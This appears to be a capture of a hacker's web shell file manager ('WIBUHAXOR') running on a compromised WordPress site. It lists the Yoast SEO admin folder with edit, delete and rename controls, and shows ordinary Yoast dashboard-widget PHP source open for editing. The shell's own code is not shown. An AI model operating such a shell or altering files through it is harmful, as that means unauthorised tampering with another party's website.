-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
rohihbs.com
/
wp-content
/
plugins
/
wordpress-seo
/
admin
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
ajax
--
NONE
capabilities
--
NONE
endpoints
--
NONE
exceptions
--
NONE
filters
--
NONE
formatter
--
NONE
google_search_console
--
NONE
import
--
NONE
listeners
--
NONE
menu
--
NONE
metabox
--
NONE
notifiers
--
NONE
pages
--
NONE
roles
--
NONE
services
--
NONE
statistics
--
NONE
taxonomy
--
NONE
tracking
--
NONE
views
--
NONE
watchers
--
NONE
admin-settings-changed-listener.php
2.388KB
Edit File
Delete File
Rename
ajax.php
11.16KB
Edit File
Delete File
Rename
class-admin-asset-analysis-worker-location.php
1.806KB
Edit File
Delete File
Rename
class-admin-asset-dev-server-location.php
1.633KB
Edit File
Delete File
Rename
class-admin-asset-location.php
0.477KB
Edit File
Delete File
Rename
class-admin-asset-manager.php
20.066KB
Edit File
Delete File
Rename
class-admin-asset-seo-location.php
2.076KB
Edit File
Delete File
Rename
class-admin-editor-specific-replace-vars.php
6.343KB
Edit File
Delete File
Rename
class-admin-gutenberg-compatibility-notification.php
2.549KB
Edit File
Delete File
Rename
class-admin-help-panel.php
2.695KB
Edit File
Delete File
Rename
class-admin-init.php
10.713KB
Edit File
Delete File
Rename
class-admin-recommended-replace-vars.php
5.984KB
Edit File
Delete File
Rename
class-admin-user-profile.php
3.058KB
Edit File
Delete File
Rename
class-admin-utils.php
2.145KB
Edit File
Delete File
Rename
class-admin.php
12.727KB
Edit File
Delete File
Rename
class-asset.php
4.302KB
Edit File
Delete File
Rename
class-bulk-description-editor-list-table.php
2.051KB
Edit File
Delete File
Rename
class-bulk-editor-list-table.php
29.407KB
Edit File
Delete File
Rename
class-bulk-title-editor-list-table.php
2.232KB
Edit File
Delete File
Rename
class-collector.php
0.981KB
Edit File
Delete File
Rename
class-config.php
4.926KB
Edit File
Delete File
Rename
class-database-proxy.php
7.504KB
Edit File
Delete File
Rename
class-export.php
3.458KB
Edit File
Delete File
Rename
class-expose-shortlinks.php
7.085KB
Edit File
Delete File
Rename
class-gutenberg-compatibility.php
2.47KB
Edit File
Delete File
Rename
class-meta-columns.php
27.3KB
Edit File
Delete File
Rename
class-my-yoast-proxy.php
6.138KB
Edit File
Delete File
Rename
class-option-tab.php
2.215KB
Edit File
Delete File
Rename
class-option-tabs-formatter.php
2.837KB
Edit File
Delete File
Rename
class-option-tabs.php
2.257KB
Edit File
Delete File
Rename
class-paper-presenter.php
3.516KB
Edit File
Delete File
Rename
class-plugin-availability.php
10.063KB
Edit File
Delete File
Rename
class-plugin-conflict.php
4.044KB
Edit File
Delete File
Rename
class-premium-popup.php
2.808KB
Edit File
Delete File
Rename
class-premium-upsell-admin-block.php
7.827KB
Edit File
Delete File
Rename
class-primary-term-admin.php
7.348KB
Edit File
Delete File
Rename
class-product-upsell-notice.php
5.748KB
Edit File
Delete File
Rename
class-remote-request.php
3.128KB
Edit File
Delete File
Rename
class-schema-person-upgrade-notification.php
2.23KB
Edit File
Delete File
Rename
class-suggested-plugins.php
4.325KB
Edit File
Delete File
Rename
class-wincher-dashboard-widget.php
3.53KB
Edit File
Delete File
Rename
class-yoast-columns.php
3.518KB
Edit File
Delete File
Rename
class-yoast-dashboard-widget.php
3.96KB
Edit File
Delete File
Rename
class-yoast-form.php
35.739KB
Edit File
Delete File
Rename
class-yoast-network-admin.php
9.969KB
Edit File
Delete File
Rename
class-yoast-network-settings-api.php
4.181KB
Edit File
Delete File
Rename
class-yoast-notification-center.php
26.059KB
Edit File
Delete File
Rename
class-yoast-notification.php
9.823KB
Edit File
Delete File
Rename
class-yoast-notifications.php
7.629KB
Edit File
Delete File
Rename
class-yoast-plugin-conflict.php
10.326KB
Edit File
Delete File
Rename
index.php
0.037KB
Edit File
Delete File
Rename
interface-collection.php
0.251KB
Edit File
Delete File
Rename
interface-installable.php
0.248KB
Edit File
Delete File
Rename
<?php /** * WPSEO plugin file. * * @package WPSEO\Admin */ /** * Class to change or add WordPress dashboard widgets. */ class Yoast_Dashboard_Widget implements WPSEO_WordPress_Integration { /** * Holds the cache transient key. * * @var string */ public const CACHE_TRANSIENT_KEY = 'wpseo-dashboard-totals'; /** * Holds an instance of the admin asset manager. * * @var WPSEO_Admin_Asset_Manager */ protected $asset_manager; /** * Holds the dashboard statistics. * * @var WPSEO_Statistics */ protected $statistics; /** * Yoast_Dashboard_Widget constructor. * * @param WPSEO_Statistics|null $statistics WPSEO_Statistics instance. */ public function __construct( ?WPSEO_Statistics $statistics = null ) { if ( $statistics === null ) { $statistics = new WPSEO_Statistics(); } $this->statistics = $statistics; $this->asset_manager = new WPSEO_Admin_Asset_Manager(); } /** * Register WordPress hooks. * * @return void */ public function register_hooks() { add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_dashboard_assets' ] ); add_action( 'admin_init', [ $this, 'queue_dashboard_widget' ] ); } /** * Adds the dashboard widget if it should be shown. * * @return void */ public function queue_dashboard_widget() { if ( $this->show_widget() ) { add_action( 'wp_dashboard_setup', [ $this, 'add_dashboard_widget' ] ); } } /** * Adds dashboard widget to WordPress. * * @return void */ public function add_dashboard_widget() { add_filter( 'postbox_classes_dashboard_wpseo-dashboard-overview', [ $this, 'wpseo_dashboard_overview_class' ] ); wp_add_dashboard_widget( 'wpseo-dashboard-overview', /* translators: %s is the plugin name */ sprintf( __( '%s Posts Overview', 'wordpress-seo' ), 'Yoast SEO' ), [ $this, 'display_dashboard_widget' ] ); } /** * Adds CSS classes to the dashboard widget. * * @param array $classes An array of postbox CSS classes. * * @return array */ public function wpseo_dashboard_overview_class( $classes ) { $classes[] = 'yoast wpseo-dashboard-overview'; return $classes; } /** * Displays the dashboard widget. * * @return void */ public function display_dashboard_widget() { echo '<div id="yoast-seo-dashboard-widget"></div>'; } /** * Enqueues assets for the dashboard if the current page is the dashboard. * * @return void */ public function enqueue_dashboard_assets() { if ( ! $this->is_dashboard_screen() ) { return; } $this->asset_manager->localize_script( 'dashboard-widget', 'wpseoDashboardWidgetL10n', $this->localize_dashboard_script() ); $this->asset_manager->enqueue_script( 'dashboard-widget' ); $this->asset_manager->enqueue_style( 'wp-dashboard' ); $this->asset_manager->enqueue_style( 'monorepo' ); } /** * Translates strings used in the dashboard widget. * * @return array The translated strings. */ public function localize_dashboard_script() { return [ 'feed_header' => sprintf( /* translators: %1$s resolves to Yoast.com */ __( 'Latest blog posts on %1$s', 'wordpress-seo' ), 'Yoast.com' ), 'feed_footer' => __( 'Read more like this on our SEO blog', 'wordpress-seo' ), 'wp_version' => substr( $GLOBALS['wp_version'], 0, 3 ) . '-' . ( is_plugin_active( 'classic-editor/classic-editor.php' ) ? '1' : '0' ), 'php_version' => PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION, ]; } /** * Checks if the current screen is the dashboard screen. * * @return bool Whether or not this is the dashboard screen. */ private function is_dashboard_screen() { $current_screen = get_current_screen(); return ( $current_screen instanceof WP_Screen && $current_screen->id === 'dashboard' ); } /** * Returns true when the dashboard widget should be shown. * * @return bool */ private function show_widget() { $analysis_seo = new WPSEO_Metabox_Analysis_SEO(); return $analysis_seo->is_enabled() && current_user_can( 'edit_posts' ); } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat